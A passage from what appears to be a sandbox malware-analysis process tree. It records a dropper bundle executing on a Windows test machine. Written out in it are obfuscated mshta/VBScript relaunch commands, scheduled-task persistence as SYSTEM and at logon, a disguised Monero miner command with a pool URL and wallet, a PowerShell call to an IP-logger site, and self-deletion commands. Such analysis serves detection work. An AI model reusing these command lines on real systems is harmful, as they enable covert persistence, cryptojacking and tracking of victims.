        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gVmUhDJFU"
        8⤵
        
        PID:9152
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gVmUhDJFU"
        8⤵
        
        PID:7968
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bOoGaaDxESFbryPOAb" /SC once /ST 22:39:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\dQmOBORtOOmVIQYxa\XOLcDlHHxqomGEP\KKpFQUB.exe\" tt /site_id 394347 /S" /V1 /F
        8⤵
        Creates scheduled task(s)
        
        PID:6208
    - - C:\Users\Admin\Documents\9d_s655yjolj1x94a1kLjfjz.exe
        
        "C:\Users\Admin\Documents\9d_s655yjolj1x94a1kLjfjz.exe"
        5⤵
        
        PID:912
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScrIPt:CLoSe (cREATEobjEcT("WscRIpt.SHEll"). RUn ( "cMD.exe /q /c CoPY /Y ""C:\Users\Admin\Documents\9d_s655yjolj1x94a1kLjfjz.exe"" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If """" =="""" for %R IN ( ""C:\Users\Admin\Documents\9d_s655yjolj1x94a1kLjfjz.exe"" ) do taskkill -im ""%~nXR"" /f" ,0 , TRUE))
        6⤵
        
        PID:4236
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c CoPY /Y "C:\Users\Admin\Documents\9d_s655yjolj1x94a1kLjfjz.exe" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh &If "" =="" for %R IN ( "C:\Users\Admin\Documents\9d_s655yjolj1x94a1kLjfjz.exe" ) do taskkill -im "%~nXR" /f
        7⤵
        
        PID:7128
        
        C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE
        
        Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh
        8⤵
        
        PID:7852
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScrIPt:CLoSe (cREATEobjEcT("WscRIpt.SHEll"). RUn ( "cMD.exe /q /c CoPY /Y ""C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE"" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If ""/pPcO7dQJSv4ebP1WI9YNCeWEF27pAh "" =="""" for %R IN ( ""C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE"" ) do taskkill -im ""%~nXR"" /f" ,0 , TRUE))
        9⤵
        
        PID:7696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c CoPY /Y "C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh &If "/pPcO7dQJSv4ebP1WI9YNCeWEF27pAh " =="" for %R IN ( "C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE" ) do taskkill -im "%~nXR" /f
        10⤵
        
        PID:8388
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" Z~DYVRL.v,IzgdZv
        9⤵
        
        PID:8708
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -im "9d_s655yjolj1x94a1kLjfjz.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:7560
    - - C:\Users\Admin\Documents\Lsbq6_qAVPyz1MDwsp1oJsmV.exe
        
        "C:\Users\Admin\Documents\Lsbq6_qAVPyz1MDwsp1oJsmV.exe"
        5⤵
        
        PID:7296
      - C:\Users\Admin\Documents\Lsbq6_qAVPyz1MDwsp1oJsmV.exe
        
        "C:\Users\Admin\Documents\Lsbq6_qAVPyz1MDwsp1oJsmV.exe"
        6⤵
        
        PID:4584
      - C:\Users\Admin\Documents\Lsbq6_qAVPyz1MDwsp1oJsmV.exe
        
        "C:\Users\Admin\Documents\Lsbq6_qAVPyz1MDwsp1oJsmV.exe"
        6⤵
        
        PID:6312
    - - C:\Users\Admin\Documents\XBzoDo7Uabptx1a2T_enVMjV.exe
        
        "C:\Users\Admin\Documents\XBzoDo7Uabptx1a2T_enVMjV.exe"
        5⤵
        
        PID:7836
      - C:\Users\Admin\Documents\XBzoDo7Uabptx1a2T_enVMjV.exe
        
        C:\Users\Admin\Documents\XBzoDo7Uabptx1a2T_enVMjV.exe
        6⤵
        
        PID:6968
      - C:\Users\Admin\Documents\XBzoDo7Uabptx1a2T_enVMjV.exe
        
        C:\Users\Admin\Documents\XBzoDo7Uabptx1a2T_enVMjV.exe
        6⤵
        
        PID:6348
    - - C:\Users\Admin\Documents\jas5bZVZd_oO_fgmGp_Vn9s4.exe
        
        "C:\Users\Admin\Documents\jas5bZVZd_oO_fgmGp_Vn9s4.exe"
        5⤵
        
        PID:7796
    - - C:\Users\Admin\Documents\70s2OCXVHN_0cIsiVHPKNrGc.exe
        
        "C:\Users\Admin\Documents\70s2OCXVHN_0cIsiVHPKNrGc.exe"
        5⤵
        
        PID:5716
      - C:\Users\Admin\Documents\70s2OCXVHN_0cIsiVHPKNrGc.exe
        
        "C:\Users\Admin\Documents\70s2OCXVHN_0cIsiVHPKNrGc.exe"
        6⤵
        
        PID:9200
    - - C:\Users\Admin\Documents\HTOTE8q7HEYGs2875VC81GB_.exe
        
        "C:\Users\Admin\Documents\HTOTE8q7HEYGs2875VC81GB_.exe"
        5⤵
        
        PID:8104
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:5096
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:8412
    - - C:\Users\Admin\Documents\_12Fq5UA8EWM55apkYqg7z2x.exe
        
        "C:\Users\Admin\Documents\_12Fq5UA8EWM55apkYqg7z2x.exe"
        5⤵
        
        PID:4604
    - - C:\Users\Admin\Documents\6Tb26PtBtAbTkdcsB7bQKy85.exe
        
        "C:\Users\Admin\Documents\6Tb26PtBtAbTkdcsB7bQKy85.exe"
        5⤵
        
        PID:4952
      - C:\Program Files (x86)\Company\NewProduct\inst001.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
        6⤵
        
        PID:6120
      - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        6⤵
        
        PID:4616
      - C:\Program Files (x86)\Company\NewProduct\cm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cm3.exe"
        6⤵
        
        PID:424
    - - C:\Users\Admin\Documents\kLVi9TjYgddqgJvTKJjHAzWx.exe
        
        "C:\Users\Admin\Documents\kLVi9TjYgddqgJvTKJjHAzWx.exe"
        5⤵
        
        PID:7248
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c start "" "210921.exe" & start "" "Done.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        6⤵
        
        PID:5268
        
        C:\Users\Admin\AppData\Local\Temp\210921.exe
        
        "210921.exe"
        7⤵
        
        PID:7344
        
        C:\Users\Admin\AppData\Local\Temp\Done.exe
        
        "Done.exe"
        7⤵
        
        PID:1272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        7⤵
        
        PID:6544
    - - C:\Users\Admin\Documents\69YOzpkOSwUqeZNTOcShtFGd.exe
        
        "C:\Users\Admin\Documents\69YOzpkOSwUqeZNTOcShtFGd.exe"
        5⤵
        
        PID:5148
    - - C:\Users\Admin\Documents\bjshgiltMkfzgXQfGaaRGURl.exe
        
        "C:\Users\Admin\Documents\bjshgiltMkfzgXQfGaaRGURl.exe"
        5⤵
        
        PID:4948
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im bjshgiltMkfzgXQfGaaRGURl.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\bjshgiltMkfzgXQfGaaRGURl.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:6624
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im bjshgiltMkfzgXQfGaaRGURl.exe /f
        7⤵
        Kills process with taskkill
        
        PID:9020
    - - C:\Users\Admin\Documents\cy0KnmvPTz2LfobKt8j2jdwU.exe
        
        "C:\Users\Admin\Documents\cy0KnmvPTz2LfobKt8j2jdwU.exe"
        5⤵
        
        PID:7880
    - - C:\Users\Admin\Documents\8ONHZ1StitLg6EooXre8T43U.exe
        
        "C:\Users\Admin\Documents\8ONHZ1StitLg6EooXre8T43U.exe"
        5⤵
        
        PID:7464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon1164bf13c51f2c.exe
    3⤵
    PID:864
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon1164bf13c51f2c.exe
      Mon1164bf13c51f2c.exe
      4⤵
      Executes dropped EXE
      PID:4172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon114596ddbd42f8.exe
    3⤵
    PID:1680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon11c710f55e48b36.exe
    3⤵
    PID:648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon112a4b301b.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon11a9944c09b.exe
    3⤵
    PID:1128

C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon114596ddbd42f8.exe
Mon114596ddbd42f8.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4220

C:\Users\Admin\AppData\Local\Temp\is-M1ITC.tmp\Mon112a4b301b.tmp
"C:\Users\Admin\AppData\Local\Temp\is-M1ITC.tmp\Mon112a4b301b.tmp" /SL5="$30172,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon112a4b301b.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4116
- C:\Users\Admin\AppData\Local\Temp\is-U3P7K.tmp\Ze2ro.exe
  "C:\Users\Admin\AppData\Local\Temp\is-U3P7K.tmp\Ze2ro.exe" /S /UID=burnerch2
  2⤵
  PID:4668
- - C:\Program Files\Windows Sidebar\HPHYKJWDPC\ultramediaburner.exe
    "C:\Program Files\Windows Sidebar\HPHYKJWDPC\ultramediaburner.exe" /VERYSILENT
    3⤵
    PID:6336
  - - C:\Users\Admin\AppData\Local\Temp\is-D0R0K.tmp\ultramediaburner.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-D0R0K.tmp\ultramediaburner.tmp" /SL5="$20426,281924,62464,C:\Program Files\Windows Sidebar\HPHYKJWDPC\ultramediaburner.exe" /VERYSILENT
      4⤵
      PID:6408
    - - C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        5⤵
        
        PID:6868
- - C:\Users\Admin\AppData\Local\Temp\da-7443b-bea-027a2-5366d9869d39e\Caesheshohajae.exe
    "C:\Users\Admin\AppData\Local\Temp\da-7443b-bea-027a2-5366d9869d39e\Caesheshohajae.exe"
    3⤵
    PID:6440
- - C:\Users\Admin\AppData\Local\Temp\45-2bef4-357-96c97-9dd93ef338532\Tidysojixo.exe
    "C:\Users\Admin\AppData\Local\Temp\45-2bef4-357-96c97-9dd93ef338532\Tidysojixo.exe"
    3⤵
    PID:6604
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fxaehmwg.dp4\GcleanerEU.exe /eufive & exit
      4⤵
      PID:7448
    - - C:\Users\Admin\AppData\Local\Temp\fxaehmwg.dp4\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\fxaehmwg.dp4\GcleanerEU.exe /eufive
        5⤵
        
        PID:8020
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cdjuidh5.ef2\installer.exe /qn CAMPAIGN="654" & exit
      4⤵
      PID:7524
    - - C:\Users\Admin\AppData\Local\Temp\cdjuidh5.ef2\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\cdjuidh5.ef2\installer.exe /qn CAMPAIGN="654"
        5⤵
        
        PID:8064
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\cdjuidh5.ef2\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\cdjuidh5.ef2\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632263602 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        6⤵
        
        PID:6928
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0d52odxh.mvd\anyname.exe & exit
      4⤵
      PID:7736
    - - C:\Users\Admin\AppData\Local\Temp\0d52odxh.mvd\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\0d52odxh.mvd\anyname.exe
        5⤵
        
        PID:7788
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\45khha01.e3k\gcleaner.exe /mixfive & exit
      4⤵
      PID:8012
    - - C:\Users\Admin\AppData\Local\Temp\45khha01.e3k\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\45khha01.e3k\gcleaner.exe /mixfive
        5⤵
        
        PID:5272
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y521cl51.sy5\autosubplayer.exe /S & exit
      4⤵
      PID:8188
    - - C:\Users\Admin\AppData\Local\Temp\y521cl51.sy5\autosubplayer.exe
        
        C:\Users\Admin\AppData\Local\Temp\y521cl51.sy5\autosubplayer.exe /S
        5⤵
        
        PID:6232
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse6A94.tmp\tempfile.ps1"
        6⤵
        Executes dropped EXE
        
        PID:3936
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse6A94.tmp\tempfile.ps1"
        6⤵
        
        PID:6404
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse6A94.tmp\tempfile.ps1"
        6⤵
        
        PID:7808
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse6A94.tmp\tempfile.ps1"
        6⤵
        
        PID:5116
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse6A94.tmp\tempfile.ps1"
        6⤵
        
        PID:3944
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse6A94.tmp\tempfile.ps1"
        6⤵
        
        PID:9088
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse6A94.tmp\tempfile.ps1"
        6⤵
        
        PID:4184

C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon11a9944c09b.exe
Mon11a9944c09b.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:296

C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon11c710f55e48b36.exe
Mon11c710f55e48b36.exe
1⤵
- Executes dropped EXE
PID:1548
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  PID:4600
- - C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
    3⤵
    PID:4728
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      PID:6392
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:6836
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      PID:2012
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        5⤵
        
        PID:4276
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:7740
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:6572
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        5⤵
        
        PID:868
- - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
    3⤵
    PID:4780
  - - C:\ProgramData\7333822.exe
      "C:\ProgramData\7333822.exe"
      4⤵
      PID:5180
  - - C:\ProgramData\3840106.exe
      "C:\ProgramData\3840106.exe"
      4⤵
      PID:5828
    - - C:\ProgramData\3840106.exe
        
        "C:\ProgramData\3840106.exe"
        5⤵
        
        PID:5412
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5828 -s 892
        5⤵
        Program crash
        
        PID:5668
  - - C:\ProgramData\2977210.exe
      "C:\ProgramData\2977210.exe"
      4⤵
      PID:5464
  - - C:\ProgramData\7568020.exe
      "C:\ProgramData\7568020.exe"
      4⤵
      PID:4212
  - - C:\ProgramData\5480521.exe
      "C:\ProgramData\5480521.exe"
      4⤵
      PID:5612
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    PID:4864
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 800
      4⤵
      Program crash
      PID:6068
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 828
      4⤵
      Program crash
      PID:4268
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 892
      4⤵
      Program crash
      PID:2468
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 960
      4⤵
      Program crash
      PID:5236
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 928
      4⤵
      Program crash
      PID:5376
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 1060
      4⤵
      Program crash
      PID:6780
- - C:\Users\Admin\AppData\Local\Temp\udptest.exe
    "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
    3⤵
    PID:4968
- - C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe
    "C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"
    3⤵
    PID:5076
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VbsCRIPT:CLOSe( CREateoBJect ( "wsCRIPT.sHEll" ).RUn( "CMd.ExE /C TYPE ""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"" > BQRDoAPXV.eXe && STArT bQRdOAPXV.exE -pOMw61vdx0wkZa3aN &if """" == """" for %I In (""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"" ) do taskkill /F /IM ""%~nxI"" " , 0 , tRUe) )
      4⤵
      PID:4568
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C TYPE "C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe" > BQRDoAPXV.eXe && STArT bQRdOAPXV.exE -pOMw61vdx0wkZa3aN &if "" =="" for %I In ("C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe" ) do taskkill /F /IM "%~nxI"
        5⤵
        
        PID:5600
      - C:\Users\Admin\AppData\Local\Temp\BQRDoAPXV.eXe
        
        bQRdOAPXV.exE -pOMw61vdx0wkZa3aN
        6⤵
        
        PID:4736
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRIPT:CLOSe( CREateoBJect ( "wsCRIPT.sHEll" ).RUn( "CMd.ExE /C TYPE ""C:\Users\Admin\AppData\Local\Temp\BQRDoAPXV.eXe"" > BQRDoAPXV.eXe && STArT bQRdOAPXV.exE -pOMw61vdx0wkZa3aN &if ""-pOMw61vdx0wkZa3aN "" == """" for %I In (""C:\Users\Admin\AppData\Local\Temp\BQRDoAPXV.eXe"" ) do taskkill /F /IM ""%~nxI"" " , 0 , tRUe) )
        7⤵
        
        PID:3876
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C TYPE "C:\Users\Admin\AppData\Local\Temp\BQRDoAPXV.eXe" > BQRDoAPXV.eXe && STArT bQRdOAPXV.exE -pOMw61vdx0wkZa3aN &if "-pOMw61vdx0wkZa3aN " =="" for %I In ("C:\Users\Admin\AppData\Local\Temp\BQRDoAPXV.eXe" ) do taskkill /F /IM "%~nxI"
        8⤵
        
        PID:5288
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" .\wa3n.AE,EkAXs
        7⤵
        
        PID:6656
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM "sfx_123_206.exe"
        6⤵
        Kills process with taskkill
        
        PID:4268
- - C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecorderF20.exe
    "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecorderF20.exe"
    3⤵
    PID:2500
  - - C:\Users\Admin\AppData\Local\Temp\tmpC9AF_tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpC9AF_tmp.exe"
      4⤵
      PID:6208
    - - C:\Users\Admin\AppData\Local\Temp\tmpC9AF_tmp.exe
        
        C:\Users\Admin\AppData\Local\Temp\tmpC9AF_tmp.exe
        5⤵
        
        PID:6712
- - C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
    "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
    3⤵
    PID:4988
- - C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
    "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
    3⤵
    PID:4648
- - C:\Users\Admin\AppData\Local\Temp\3002.exe
    "C:\Users\Admin\AppData\Local\Temp\3002.exe"
    3⤵
    PID:3600
  - - C:\Users\Admin\AppData\Local\Temp\3002.exe
      "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
      4⤵
      PID:5748
- - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
    3⤵
    PID:4368

C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon112a4b301b.exe
Mon112a4b301b.exe
1⤵
- Executes dropped EXE
PID:1768

C:\Users\Admin\AppData\Roaming\6044618.scr
"C:\Users\Admin\AppData\Roaming\6044618.scr" /S
1⤵
PID:4904

C:\Users\Admin\AppData\Roaming\3035026.scr
"C:\Users\Admin\AppData\Roaming\3035026.scr" /S
1⤵
PID:4992

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4944
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4692

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
1⤵
PID:5396
- C:\Users\Admin\AppData\Local\Temp\is-I28UT.tmp\setup_2.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-I28UT.tmp\setup_2.tmp" /SL5="$302A4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
  2⤵
  PID:5732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5388

C:\Users\Admin\AppData\Local\Temp\is-UGC16.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-UGC16.tmp\setup_2.tmp" /SL5="$30286,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
1⤵
PID:4788

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:1380

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:7604

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6492
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6116

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7932

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1804
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 79CF196C42CDE90C77BAB1CD8F44D7AF C
  2⤵
  PID:1884
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A5E49A2F6A25899DC8E59CF7B3F447DD
  2⤵
  PID:7872
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:8180

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7216

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8172

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6776
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
